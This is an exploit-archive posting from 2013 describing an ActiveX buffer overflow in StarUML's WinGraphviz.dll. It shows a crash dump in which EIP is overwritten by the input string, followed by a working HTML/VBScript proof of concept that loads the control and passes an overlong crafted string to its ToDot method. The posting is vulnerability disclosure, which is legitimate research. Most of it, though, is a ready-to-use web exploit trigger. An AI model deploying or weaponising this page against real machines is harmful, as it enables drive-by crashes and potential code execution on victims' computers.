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StarUML Buffer Overflow

StarUML Buffer Overflow
Posted Aug 3, 2013
Authored by d3b4g

StarUML suffers from an active-x buffer overflow vulnerability in WinGraphviz.dll.

tags | exploit, overflow, activex
SHA-256 | a8d94b18626e5b59a73980f526dd3aff048ed84051f5615710da80410c908485

StarUML Buffer Overflow

Change Mirror Download
# Exploit Title: StarUML WinGraphviz.dll ActiveX buffer overflow vulnerability
# Date: 03.8.2013
# Exploit Author: d3b4g
# Vendor Homepage:http://staruml.sourceforge.net/en/
# Software Link: http://staruml.sourceforge.net/en/
# Tested on: Windows XP SP3



About StarUML
--------------

StarUML is an open source project to develop fast, flexible, extensible, featureful, and freely-available UML/MDA platform running on Win32 platform.





Exception Code: ACCESS_VIOLATION
Disasm: D98439 MOV DL,[EBP] (WinGraphviz.DLL)

Seh Chain:
--------------------------------------------------
1 6B47D959 VBSCRIPT.dll
2 772FE115 ntdll.dll


Called From Returns To
--------------------------------------------------


Registers:
--------------------------------------------------
EIP 00D98439 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes
EAX 00894119 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes
EBX 0020D70A -> 00000038
ECX 00894119 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes
EDX 000003FF
EDI 000003FE
ESI 00000000
EBP 00000000
ESP 0020D618 -> 00000059



The example code below triggers the vulnerability
-------------------------------------------------


<object classid='clsid:1F25D86C-95BC-4E33-A177-EE8DABEF8B04' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files\StarUML\WinGraphviz.dll"
prototype = "Function ToDot ( ByVal Source As String ) As String"
memberName = "ToDot"
progid = "WINGRAPHVIZLib.NEATO"
argCount = 1

arg1="http://test\test\test\te?s\test\test\tes\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\"

target.ToDot arg1

</script>

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